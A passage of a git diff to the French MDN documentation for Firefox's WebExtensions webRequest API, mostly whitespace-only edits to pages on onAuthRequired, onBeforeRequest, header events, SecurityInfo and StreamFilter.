[`handlerBehaviorChanged()`](/fr/Add-ons/WebExtensions/API/WebRequest/handlerBehaviorChanged) peut être appelé dans une période de 10 minutes. ## Méthodes diff --git a/files/fr/mozilla/add-ons/webextensions/api/webrequest/onauthrequired/index.md b/files/fr/mozilla/add-ons/webextensions/api/webrequest/onauthrequired/index.md index afadf2b721..149eb23fd5 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webrequest/onauthrequired/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webrequest/onauthrequired/index.md @@ -24,13 +24,13 @@ L'auditeur peut répondre de l'une des quatre façons suivantes : **Annuler la demande** : l'auditeur peut annuler la demande. S'ils le font, l'authentification échouera et l'utilisateur ne sera pas invité à se connecter. Les prolongations peuvent annuler les demandes comme suit : - dans addListener, passez `"blocking"` dans le paramètre `extraInfoSpec` -- dans l'écouteur lui-même, retourne un objet avec une propriété `cancel` définie à `true` +- dans l'écouteur lui-même, retourne un objet avec une propriété `cancel` définie à `true` **Fournir des informations d'identification de manière synchrone** : si les informations d'identification sont disponibles de manière synchrone, l'extension peut les fournir de manière synchrone. Si l'extension fait cela, le navigateur tentera de se connecter avec les informations d'identification données. L'auditeur peut fournir des informations d'identification de manière synchrone comme suit : - dans addListener, passez `"blocking"` dans le paramètre `extraInfoSpec` -- dans l'auditeur, retourner un objet avec une propriété `authCredentials` définie sur les informations d'identification à fournir +- dans l'auditeur, retourner un objet avec une propriété `authCredentials` définie sur les informations d'identification à fournir **Fournir les informations d'identification de manière asynchrone** : l'extension peut avoir besoin de récupérer les informations d'identification de manière asynchrone. Par exemple, l'extension peut avoir besoin d'extraire les informations d'identification du stockage ou de demander à l'utilisateur. Dans ce cas, l'auditeur peut fournir des informations d'identification de manière asynchrone comme suit : @@ -47,7 +47,7 @@ Si votre poste fournit de mauvaises informations d'identification, l'auditeur se En général, Firefox ne déclenche pas d'événements `webRequest` pour les requêtes système, telles que les mises à jour de navigateur ou d'extension, ou les requêtes des moteurs de recherche. Pour permettre à l'autorisation de proxy de fonctionner sans problème pour les requêtes système, à partir de la version 57 Firefox implémente une exception à cette règle. -Si une extension a les permissions "webRequest", "webRequestBlocking", "proxy", et "\<all_urls>", alors elle pourra utiliser `onAuthRequired` pour fournir des informations d'identification pour l'autorisation de proxy (mais pas pour l'autorisation web normale). L'auditeur ne sera pas en mesure d'annuler les demandes du système ou d'apporter d'autres modifications aux demandes du système. +Si une extension a les permissions "webRequest", "webRequestBlocking", "proxy", et "\<all_urls>", alors elle pourra utiliser `onAuthRequired` pour fournir des informations d'identification pour l'autorisation de proxy (mais pas pour l'autorisation web normale). L'auditeur ne sera pas en mesure d'annuler les demandes du système ou d'apporter d'autres modifications aux demandes du système. ## Syntaxe @@ -83,8 +83,8 @@ Les événements ont trois fonctions : Retourne : {{WebExtAPIRef('webRequest.BlockingResponse')}} ou une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). - - Pour traiter la requête de manière synchrone, inclure`"blocking"` dans le paramètre `extraInfoSpec` et retourner un objet `BlockingResponse`, avec son `cancel` ou ses propriétés `authCredentials`. - - Pour traiter la requête de manière asynchrone, inclure `"blocking"` dans le paramètre `extraInfoSpec` et retourner une `Promise` qui est résolue avec un objet `BlockingResponse`, avec son `cancel` ou ses propriétés `authCredentials`. + - Pour traiter la requête de manière synchrone, inclure`"blocking"` dans le paramètre `extraInfoSpec` et retourner un objet `BlockingResponse`, avec son `cancel` ou ses propriétés `authCredentials`. + - Pour traiter la requête de manière asynchrone, inclure `"blocking"` dans le paramètre `extraInfoSpec` et retourner une `Promise` qui est résolue avec un objet `BlockingResponse`, avec son `cancel` ou ses propriétés `authCredentials`. - `filter` - : {{WebExtAPIRef('webRequest.RequestFilter')}}. Un filtre qui restreint les événements qui seront envoyés à cet auditeur. diff --git a/files/fr/mozilla/add-ons/webextensions/api/webrequest/onbeforerequest/index.md b/files/fr/mozilla/add-ons/webextensions/api/webrequest/onbeforerequest/index.md index 1fe48946a1..e30d0b604a 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webrequest/onbeforerequest/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webrequest/onbeforerequest/index.md @@ -24,9 +24,9 @@ Pour annuler ou rediriger la requête, incluez d'abord `"blocking"` dans l'argum Si une extension veut rediriger une URL publique (par exemple HTTPS) ver une [page d'extension](/fr/Add-ons/WebExtensions/user_interface/Extension_pages), de l'extension doit contenir une clé [web_accessible_resources](/fr/Add-ons/WebExtensions/manifest.json/web_accessible_resources) qui liste l'URL de la page d'extension. -Lorsque plusieurs gestionnaires de blocage modifient une requête, une seule série de modifications prend effet. Les redirections et les annulations ont la même priorité. Ainsi, si vous avez annulé une requête, vous pouvez voir une autre requête avec la même `requestId` à nouveau si un autre gestionnaire de blocage a redirigé la requête. +Lorsque plusieurs gestionnaires de blocage modifient une requête, une seule série de modifications prend effet. Les redirections et les annulations ont la même priorité. Ainsi, si vous avez annulé une requête, vous pouvez voir une autre requête avec la même `requestId` à nouveau si un autre gestionnaire de blocage a redirigé la requête. -A partir de Firefox 52, au lieu de renvoyer `BlockingResponse`, l'auditeur peut renvoyer une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui est résolue avec un `BlockingResponse`. Ceci permet à l'auditeur de traiter la demande de manière asynchrone. +A partir de Firefox 52, au lieu de renvoyer `BlockingResponse`, l'auditeur peut renvoyer une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui est résolue avec un `BlockingResponse`. Ceci permet à l'auditeur de traiter la demande de manière asynchrone. Si vous utilisez le `"blocking"`, vous devez avoir la [permission de l'API "webRequestBlocking"](/fr/Add-ons/WebExtensions/manifest.json/permissions#API_permissions) dans votre manifest.json. @@ -62,7 +62,7 @@ Les événements ont trois fonctions : - `details` - : [`object`](#details). Détails sur la demande. Voir les [`details`](#details) ci-dessous. - Les retours : {{WebExtAPIRef('webRequest.BlockingResponse')}}. Si `"blocking"`est spécifié dans le paramètre `extraInfoSpec`, l'auditeur d'événement doit retourner un objet `BlockingResponse`, et peut définir soit son `annulation`, soit ses propriétés `redirectUrl`. A partir de Firefox 52, au lieu de renvoyer `BlockingResponse`,l'auditeur peut renvoyer une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui est résolue avec un `BlockingResponse`. Ceci permet à l'auditeur de traiter la demande de manière asynchrone. + Les retours : {{WebExtAPIRef('webRequest.BlockingResponse')}}. Si `"blocking"`est spécifié dans le paramètre `extraInfoSpec`, l'auditeur d'événement doit retourner un objet `BlockingResponse`, et peut définir soit son `annulation`, soit ses propriétés `redirectUrl`. A partir de Firefox 52, au lieu de renvoyer `BlockingResponse`,l'auditeur peut renvoyer une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui est résolue avec un `BlockingResponse`. Ceci permet à l'auditeur de traiter la demande de manière asynchrone. - `filter` - : {{WebExtAPIRef('webRequest.RequestFilter')}}. Un filtre qui restreint les événements qui seront envoyés à cet auditeur. @@ -158,11 +158,11 @@ Les événements ont trois fonctions : ### Ordre de résolution DNS lorsque BlockingResponse est utilisé -En ce qui concerne la résolution DNS lorsque BlockingResponse est utilisé avec OnBeforeRequest : Dans le canal HTTP, avec réponse de blocage se produit avant la résolution DNS et avant la connexion spéculative. Pour les autres canaux, une connexion spéculative peut provoquer des requêtes DNS avant onBeforeRequest. Cet ordre n'est pas quelque chose sur quoi un développeur d'extension devrait se fier, car il peut varier d'un navigateur à l'autre, et encore moins d'une version de navigateur à l'autre, et encore moins d'un canal de requête à l'autre. Référez-vous [à la clarification du problème de BugZilla fournie par les développeurs Mozilla sur la commande de la résolution DNS](https://bugzilla.mozilla.org/show_bug.cgi?id=1466099) +En ce qui concerne la résolution DNS lorsque BlockingResponse est utilisé avec OnBeforeRequest : Dans le canal HTTP, avec réponse de blocage se produit avant la résolution DNS et avant la connexion spéculative. Pour les autres canaux, une connexion spéculative peut provoquer des requêtes DNS avant onBeforeRequest. Cet ordre n'est pas quelque chose sur quoi un développeur d'extension devrait se fier, car il peut varier d'un navigateur à l'autre, et encore moins d'une version de navigateur à l'autre, et encore moins d'un canal de requête à l'autre. Référez-vous [à la clarification du problème de BugZilla fournie par les développeurs Mozilla sur la commande de la résolution DNS](https://bugzilla.mozilla.org/show_bug.cgi?id=1466099) ## Exemples -Ce code enregistre l'URL de chaque ressource demandée qui correspond au modèle [\<all_urls>](/fr/Add-ons/WebExtensions/Match_patterns#<all_urls>) : +Ce code enregistre l'URL de chaque ressource demandée qui correspond au modèle [\<all_urls>](/fr/Add-ons/WebExtensions/Match_patterns#<all_urls>) : ```js function logURL(requestDetails) { diff --git a/files/fr/mozilla/add-ons/webextensions/api/webrequest/onbeforesendheaders/index.md b/files/fr/mozilla/add-ons/webextensions/api/webrequest/onbeforesendheaders/index.md index 40b32f8165..b9febc6f9d 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webrequest/onbeforesendheaders/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webrequest/onbeforesendheaders/index.md @@ -25,7 +25,7 @@ Pour modifier les en-têtes de façon asynchrone : passez `"blocking"` dans `ext Si vous utilisez le `"blocking"`, vous devez avoir la ["permission de l'API "webRequestBlocking"](/fr/Add-ons/WebExtensions/manifest.json/permissions#API_permissions) dans votre manifest.json. -Il est possible d'étendre le conflit ici. Si deux extensions écoutent `onBeforeSendHeaders` pour la même requête, le deuxième auditeur verra les modifications apportées par le premier auditeur et pourra annuler les modifications apportées par le premier auditeur. Par exemple, si le premier auditeur ajoute un en-tête `Cookie`, et que le deuxième auditeur supprime tous les en-têtes `Cookie`, les modifications apportées par le premier auditeur seront perdues. Si vous voulez voir les en-têtes qui sont effectivement envoyés, sans risque qu'une autre extension les modifie par la suite, utilisez {{WebExtAPIRef("webRequest.onSendHeaders", "onSendHeaders")}}, bien que vous ne puissiez pas modifier les en-têtes sur cet événement. +Il est possible d'étendre le conflit ici. Si deux extensions écoutent `onBeforeSendHeaders` pour la même requête, le deuxième auditeur verra les modifications apportées par le premier auditeur et pourra annuler les modifications apportées par le premier auditeur. Par exemple, si le premier auditeur ajoute un en-tête `Cookie`, et que le deuxième auditeur supprime tous les en-têtes `Cookie`, les modifications apportées par le premier auditeur seront perdues. Si vous voulez voir les en-têtes qui sont effectivement envoyés, sans risque qu'une autre extension les modifie par la suite, utilisez {{WebExtAPIRef("webRequest.onSendHeaders", "onSendHeaders")}}, bien que vous ne puissiez pas modifier les en-têtes sur cet événement. Tous les en-têtes réellement envoyés ne sont pas toujours inclus dans `requestHeaders`. En particulier, les en-têtes liés à la mise en cache (par exemple, `Cache-Control`, `If-Modified-Since`, `If-None-Match`) ne sont jamais envoyés. De plus, le comportement peut différer d'un navigateur à l'autre. @@ -82,7 +82,7 @@ Les événements ont trois fonctions : - : `array` de `string`. Options supplémentaires pour l'événement. Vous pouvez passer n'importe laquelle des valeurs suivantes : - `"blocking"`: rendre la requête synchrone, ce qui vous permet de modifier les en-têtes de requête - - `"requestHeaders"`: inclure les en-têtes de requête dans l'objet `details` transmis à l'auditeur + - `"requestHeaders"`: inclure les en-têtes de requête dans l'objet `details` transmis à l'auditeur ## Objets supplémentaires diff --git a/files/fr/mozilla/add-ons/webextensions/api/webrequest/onheadersreceived/index.md b/files/fr/mozilla/add-ons/webextensions/api/webrequest/onheadersreceived/index.md index 0088f750c2..3aa543bbb3 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webrequest/onheadersreceived/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webrequest/onheadersreceived/index.md @@ -70,7 +70,7 @@ Les événements ont trois fonctions : - : `array` de `string`. Options supplémentaires pour l'événement. Vous pouvez passer n'importe laquelle des valeurs suivantes : - `"blocking"` pour rendre la requête synchrone, de sorte que vous pouvez modifier les en-têtes de requête et réponse. - - `"responseHeaders"` pour inclure les en-têtes de réponse dans l'objet `détails` transmis à l'auditeur + - `"responseHeaders"` pour inclure les en-têtes de réponse dans l'objet `détails` transmis à l'auditeur ## objets supplémentaires diff --git a/files/fr/mozilla/add-ons/webextensions/api/webrequest/onsendheaders/index.md b/files/fr/mozilla/add-ons/webextensions/api/webrequest/onsendheaders/index.md index 5bb6919c56..4c03dd534b 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webrequest/onsendheaders/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webrequest/onsendheaders/index.md @@ -15,7 +15,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/webRequest/onSendHeaders --- {{AddonSidebar()}} -Cet événement est déclenché juste avant l'envoi des en-têtes. Si votre extension ou une autre extension a modifié les en-têtes dans `{{WebExtAPIRef("webRequest.onBeforeSendHeaders", "onBeforeSendHeaders")}}`, vous verrez la version modifiée ici. +Cet événement est déclenché juste avant l'envoi des en-têtes. Si votre extension ou une autre extension a modifié les en-têtes dans `{{WebExtAPIRef("webRequest.onBeforeSendHeaders", "onBeforeSendHeaders")}}`, vous verrez la version modifiée ici. Cet événement est à titre d'information seulement. diff --git a/files/fr/mozilla/add-ons/webextensions/api/webrequest/requestfilter/index.md b/files/fr/mozilla/add-ons/webextensions/api/webrequest/requestfilter/index.md index a8eb210a77..dc062a8d3d 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webrequest/requestfilter/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webrequest/requestfilter/index.md @@ -28,7 +28,7 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant - `tabId`{{optional_inline}} - : `integer`. L'auditeur ne sera appelé que pour les requêtes provenant du {{WebExtAPIRef("tabs.Tab", "tab")}} identifié par cet ID. - `windowId`{{optional_inline}} - - : `integer`. L'auditeur ne sera appelé que pour les requêtes provenant du {{WebExtAPIRef("windows.Window", "window")}} identifié par cet ID. + - : `integer`. L'auditeur ne sera appelé que pour les requêtes provenant du {{WebExtAPIRef("windows.Window", "window")}} identifié par cet ID. - incognito {{optional_inline}} - : `boolean`. Si elles sont fournies, les demandes qui ne correspondent pas à l'état incognito (`true` ou `false`) seront filtrées. diff --git a/files/fr/mozilla/add-ons/webextensions/api/webrequest/resourcetype/index.md b/files/fr/mozilla/add-ons/webextensions/api/webrequest/resourcetype/index.md index 10a8dc8680..833e0e2165 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webrequest/resourcetype/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webrequest/resourcetype/index.md @@ -26,11 +26,11 @@ Les valeurs de ce type sont des chaînes de caractères. Les valeurs possibles s - `beacon` - : Demandes envoyées par le biais de l'[API Beacon](/fr/docs/Web/API/Beacon_API). - `csp_report` - - : Demandes envoyées au {{CSP("report-uri")}} donné dans l'en-tête {{HTTPHeader("Content-Security-Policy")}}, lorsqu'une tentative de violation de la politique est détectée. + - : Demandes envoyées au {{CSP("report-uri")}} donné dans l'en-tête {{HTTPHeader("Content-Security-Policy")}}, lorsqu'une tentative de violation de la politique est détectée. - `font` - - : Polices Web chargées pour un {{cssxref("@font-face")}} règle CSS. + - : Polices Web chargées pour un {{cssxref("@font-face")}} règle CSS. - `image` - - : Les ressources chargées pour être rendues sous forme d'image, à l'exception de `imageset` sur les navigateurs qui prennent en charge ce type (voir la compatibilité des navigateurs ci-dessous). + - : Les ressources chargées pour être rendues sous forme d'image, à l'exception de `imageset` sur les navigateurs qui prennent en charge ce type (voir la compatibilité des navigateurs ci-dessous). - `imageset` - : Images chargées par un élément {{HTMLElement("picture")}} ou données dans un attribut {{htmlattrxref("srcset", "img")}} d'un élement `<img>`. @@ -39,7 +39,7 @@ Les valeurs de ce type sont des chaînes de caractères. Les valeurs possibles s - `main_frame` - : Documents de niveau chargés dans un objet. - `media` - - : Ressources chargées par un élément {{HTMLElement("video")}} ou {{HTMLElement("audio")}}. + - : Ressources chargées par un élément {{HTMLElement("video")}} ou {{HTMLElement("audio")}}. - `object` - : Ressources chargées par un élément {{HTMLElement("object")}} ou {{HTMLElement("embed")}}. @@ -55,7 +55,7 @@ Les valeurs de ce type sont des chaînes de caractères. Les valeurs possibles s Les navigateurs qui n'ont pas de type de `balise` dédié (voir la compatibilité des navigateurs ci-dessous), étiquettent également les requêtes envoyées par l'API Beacon en tant que `ping`. - `script` - - : Code chargé pour être exécuté par un élément {{HTMLElement("script")}} ou exécuté dans un [Worker](/fr/docs/Web/API/Web_Workers_API). + - : Code chargé pour être exécuté par un élément {{HTMLElement("script")}} ou exécuté dans un [Worker](/fr/docs/Web/API/Web_Workers_API). - `speculative` - : Dans une connexion spéculative, le navigateur a déterminé qu'une demande d'URI pourrait bientôt arriver, donc il lance immédiatement un handshake TCP et/ou TLS, de sorte qu'il est prêt plus rapidement lorsque la ressource est effectivement demandée. - `stylesheet` @@ -69,7 +69,7 @@ Les valeurs de ce type sont des chaînes de caractères. Les valeurs possibles s - `xbl` - : [XBL](/fr/docs/XBL) bindings chargés pour étendre le comportement des éléments d'un document. - `xml_dtd` - - : [DTDs](/fr/docs/Glossaire/DTD) chargées pour un document XML. + - : [DTDs](/fr/docs/Glossaire/DTD) chargées pour un document XML. - `xmlhttprequest` - : Requêtes envoyées par un objet {{domxref("XMLHttpRequest")}} ou par l'[API Fetch](/fr/docs/Web/API/Fetch_API). - `xslt` diff --git a/files/fr/mozilla/add-ons/webextensions/api/webrequest/securityinfo/index.md b/files/fr/mozilla/add-ons/webextensions/api/webrequest/securityinfo/index.md index 3898a1d33f..0d654eaa27 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webrequest/securityinfo/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webrequest/securityinfo/index.md @@ -27,38 +27,38 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant Sinon, il contiendra un seul objet `CertificateInfo`, pour le certificat du serveur. -- `certificateTransparencyStatus` {{optional_inline}} +- `certificateTransparencyStatus` {{optional_inline}} - - : `String`. Indique l'état de la [transparence des certificats](https://www.certificate-transparency.org/) pour la connexion. Ceci peut prendre l'une des valeurs suivantes : + - : `String`. Indique l'état de la [transparence des certificats](https://www.certificate-transparency.org/) pour la connexion. Ceci peut prendre l'une des valeurs suivantes : - "not_applicable" - "policy_compliant" - "policy_not_enough_scts" - "policy_not_diverse_scts" -- `cipherSuite` {{optional_inline}} +- `cipherSuite` {{optional_inline}} - : `String`. Suite de chiffrement utilisée pour la connexion, formatée selon la [specification TLS ](https://tools.ietf.org/html/rfc5246#appendix-A.5): par exemple, "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256". -- `errorMessage` {{optional_inline}} +- `errorMessage` {{optional_inline}} - - : `String`. S'il y a eu un problème avec le protocole TLS (for example, the certificate had expired, or a trusted root could not be found, or a certificate was revoked) then `status` will be "broken" and the `errorMessage` property will contain a string describing the error, taken from Firefox's internal list of error codes. + - : `String`. S'il y a eu un problème avec le protocole TLS (for example, the certificate had expired, or a trusted root could not be found, or a certificate was revoked) then `status` will be "broken" and the `errorMessage` property will contain a string describing the error, taken from Firefox's internal list of error codes. - Note though that at present you can only call `getSecurityInfo()` in the `onHeaderReceived` listener, and the `onHeaderReceived` event is not fired when the handshake fails. So in practice this will never be set. + Note though that at present you can only call `getSecurityInfo()` in the `onHeaderReceived` listener, and the `onHeaderReceived` event is not fired when the handshake fails. So in practice this will never be set. -- `hpkp` {{optional_inline}} +- `hpkp` {{optional_inline}} - : `Boolean`. `true` si l'hôte utilise [Public Key Pinning](/fr/docs/Web/Security/Public_Key_Pinning), sinon `false`. -- `hsts` {{optional_inline}} +- `hsts` {{optional_inline}} - : `Boolean`. `true` si l'hôte utilise [Strict Transport Security](/fr/docs/Sécurité/HTTP_Strict_Transport_Security), sinon `false`. -- `isDomainMismatch` {{optional_inline}} +- `isDomainMismatch` {{optional_inline}} - : `Boolean`. `true` si le nom de domaine du serveur ne correspond pas au nom de domaine dans son certificat, sinon `false`. -- `isExtendedValidation` {{optional_inline}} +- `isExtendedValidation` {{optional_inline}} - : `Boolean`. `true` si le serveur possède un [Extended Validation Certificate](https://en.wikipedia.org/wiki/Extended_Validation_Certificate), sinon `false`. -- `isNotValidAtThisTime` {{optional_inline}} +- `isNotValidAtThisTime` {{optional_inline}} - : `Boolean`. `true` si l'heure actuelle tombe en dehors de la période de validité du certificat de serveur (c'est-à-dire que le certificat a expiré ou n'est pas encore valide), sinon `false`. -- `isUntrusted` {{optional_inline}} +- `isUntrusted` {{optional_inline}} - : `Boolean`. `true` si une chaîne de retour à un certificat racine de confiance n'a pas pu être construite, sinon `false`. - `keaGroupName` {{optional_inline}} - : `String`. Si `state` est "sécurisé" cela décrit l'algorithme d'échange de clé utilisé dans cette requête. -- `protocolVersion` {{optional_inline}} +- `protocolVersion` {{optional_inline}} - : `String`. Version du protocole TLS utilisé. L'un des : @@ -81,7 +81,7 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant Notez cependant qu'actuellement, vous ne pouvez appele `getSecurityInfo()` que dans l'écouteur `onHeaderReceived`, et l'événement `onHeaderReceived` n'est pas déclenché lorsque la poignée de main échoue. Ainsi, dans la pratique, il ne sera jamais réglé sur "cassé". -- `weaknessReasons` {{optional_inline}} +- `weaknessReasons` {{optional_inline}} - : `String`. Si l'`état` est "faible", cela indique la raison. Actuellement, il ne peut contenir qu'une seule valeur "chiffre", ce qui indique que la suite de chiffres négociée est considérée comme faible. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/close/index.md b/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/close/index.md index af87463a5f..942def5116 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/close/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/close/index.md @@ -14,11 +14,11 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/webRequest/StreamFilter/close Ferme la demande. Après cet appel, aucune autre donnée de réponse ne sera transmise au moteur de rendu du navigateur et aucun autre événement de filtrage ne sera donné à l'extension. -Notez la différence entre cette fonction et {{WebExtAPIRef("webRequest.StreamFilter.disconnect()", "disconnect()")}}. Avec `disconnect()`, le navigateur continuera à traiter d'autres données de réponse, mais il ne sera pas accessible par le filtre. Avec `close()`, le navigateur ignorera toutes les données de réponse qui n'ont pas déjà été transmises au moteur de rendu. +Notez la différence entre cette fonction et {{WebExtAPIRef("webRequest.StreamFilter.disconnect()", "disconnect()")}}. Avec `disconnect()`, le navigateur continuera à traiter d'autres données de réponse, mais il ne sera pas accessible par le filtre. Avec `close()`, le navigateur ignorera toutes les données de réponse qui n'ont pas déjà été transmises au moteur de rendu. Vous devriez toujours appeler `close()` ou `disconnect()` une fois que vous n'avez plus besoin d'interagir avec la réponse. -Vous ne pouvez pas appeler cette fonction avant que l'événement {{WebExtAPIRef("webRequest.StreamFilter.onstart", "onstart")}} ne soit déclenché. +Vous ne pouvez pas appeler cette fonction avant que l'événement {{WebExtAPIRef("webRequest.StreamFilter.onstart", "onstart")}} ne soit déclenché. ## Syntaxe @@ -40,7 +40,7 @@ None. ## Exemples -Cet exemple remplacera le contenu de la page par "texte de remplacement" : +Cet exemple remplacera le contenu de la page par "texte de remplacement" : ```js function listener(details) { diff --git a/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/disconnect/index.md b/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/disconnect/index.md index 57c741709a..316110d660 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/disconnect/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/disconnect/index.md @@ -10,7 +10,7 @@ tags: - webRequest translation_of: Mozilla/Add-ons/WebExtensions/API/webRequest/StreamFilter/disconnect --- -{{AddonSidebar()}}Déconnecte le filtre de la requête. Après cela, le navigateur continuera à traiter la réponse, mais plus aucun événement de filtrage ne se déclenchera, et plus aucun appel de fonction de filtrage n'aura d'effet.Notez la différence entre cette fonction et {{WebExtAPIRef("webRequest.StreamFilter.close()", "close()")}}. Avec `disconnect()`, le navigateur continuera à traiter d'autres données de réponse, mais il ne sera pas accessible par le filtre. Avec `close()`, le navigateur ignorera toutes les données de réponse qui n'ont pas déjà été transmises au moteur de rendu. +{{AddonSidebar()}}Déconnecte le filtre de la requête. Après cela, le navigateur continuera à traiter la réponse, mais plus aucun événement de filtrage ne se déclenchera, et plus aucun appel de fonction de filtrage n'aura d'effet.Notez la différence entre cette fonction et {{WebExtAPIRef("webRequest.StreamFilter.close()", "close()")}}. Avec `disconnect()`, le navigateur continuera à traiter d'autres données de réponse, mais il ne sera pas accessible par le filtre. Avec `close()`, le navigateur ignorera toutes les données de réponse qui n'ont pas déjà été transmises au moteur de rendu. Vous devriez toujours appeler `disconnect()` ou `close()` une fois que vous n'avez plus besoin d'interagir avec la réponse. diff --git a/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/error/index.md b/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/error/index.md index ea9754e290..304a0904c4 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/error/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/error/index.md @@ -21,7 +21,7 @@ Une chaîne de caractères qui contiendra un message d'erreur après le déclenc ## Exemples -Cet exemple ajoute un écouteur {{WebExtAPIRef("webRequest.StreamFilter.onerror", "onerror")}} qui enregistre la valeur de `error`. +Cet exemple ajoute un écouteur {{WebExtAPIRef("webRequest.StreamFilter.onerror", "onerror")}} qui enregistre la valeur de `error`. ```js function listener(details) { diff --git a/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/ondata/index.md b/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/ondata/index.md index 0dd7fd0354..3dcfb2cc64 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/ondata/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/ondata/index.md @@ -19,7 +19,7 @@ Un gestionnaire d'événements qui sera appelé à plusieurs reprises lorsque le ## Exemples -Cet exemple ajoute un écouteur `ondata` qui remplace "Example" dans la réponse par "WebExtension Example". +Cet exemple ajoute un écouteur `ondata` qui remplace "Example" dans la réponse par "WebExtension Example". Notez que cet exemple ne fonctionne que pour les occurrences de "Example" qui sont entièrement contenues dans un bloc de données, et non celles qui chevauchent deux morceaux (ce qui peut arriver \~0.1% du temps pour les gros documents). De plus, il ne traite que les documents codés UTF-8. Une véritable mise en œuvre de ce projet devrait être plus complexe. diff --git a/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/onerror/index.md b/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/onerror/index.md index 1c4ee505b1..686cccc92c 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/onerror/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/onerror/index.md @@ -25,7 +25,7 @@ Notez que cet événement n'est _pas_ déclenché pour les erreurs réseau. ## Exemples -Cet exemple ajoute un écouteur `onerror` qui enregistre la valeur de {{WebExtAPIRef("webRequest.StreamFilter.error")}}. +Cet exemple ajoute un écouteur `onerror` qui enregistre la valeur de {{WebExtAPIRef("webRequest.StreamFilter.error")}}. ```js function listener(details) { diff --git a/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/onstop/index.md b/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/onstop/index.md index af5fa88166..d802333850 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/onstop/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/onstop/index.md @@ -21,7 +21,7 @@ Un gestionnaire d'événements qui sera appelé lorsque le flux n'a plus de donn ## Exemples -Cet exemple ajoutera des "extra stuff" à la réponse : +Cet exemple ajoutera des "extra stuff" à la réponse : ```js function listener(details) { diff --git a/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/resume/index.md b/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/resume/index.md index 9028cb0696..ab4689de50 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/resume/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/resume/index.md @@ -15,7 +15,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/webRequest/StreamFilter/resume Reprend une requête qui a été précédemment suspendue par un appel à {{WebExtAPIRef("webRequest.StreamFilter.suspend()", "suspend()")}}. -Vous ne pouvez pas appeler cette fonction avant que l'événement {{WebExtAPIRef("webRequest.StreamFilter.onstart", "onstart")}} ne soit déclenché. +Vous ne pouvez pas appeler cette fonction avant que l'événement {{WebExtAPIRef("webRequest.StreamFilter.onstart", "onstart")}} ne soit déclenché. ## Syntaxe diff --git a/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/status/index.md b/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/status/index.md index e4c4fce7d2..2f65613f39 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/status/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/status/index.md @@ -18,15 +18,15 @@ Une chaîne de caractères qui décrit l'état actuel de la demande. Ce sera l'u - `"uninitialized"` - : Le filtre n'est pas entièrement initialisé. Aucune fonction de filtrage ne peut être appelée. - `"transferringdata"` - - : Le canal sous-jacent transfère actuellement des données qui seront acheminées vers l'extension dans un ou plusieurs événements {{WebExtAPIRef("webRequest.StreamFilter.ondata", "ondata")}}. L'extension peut appeler des fonctions de filtrage telles que {{WebExtAPIRef("webRequest.StreamFilter.write()", "write()")}}, 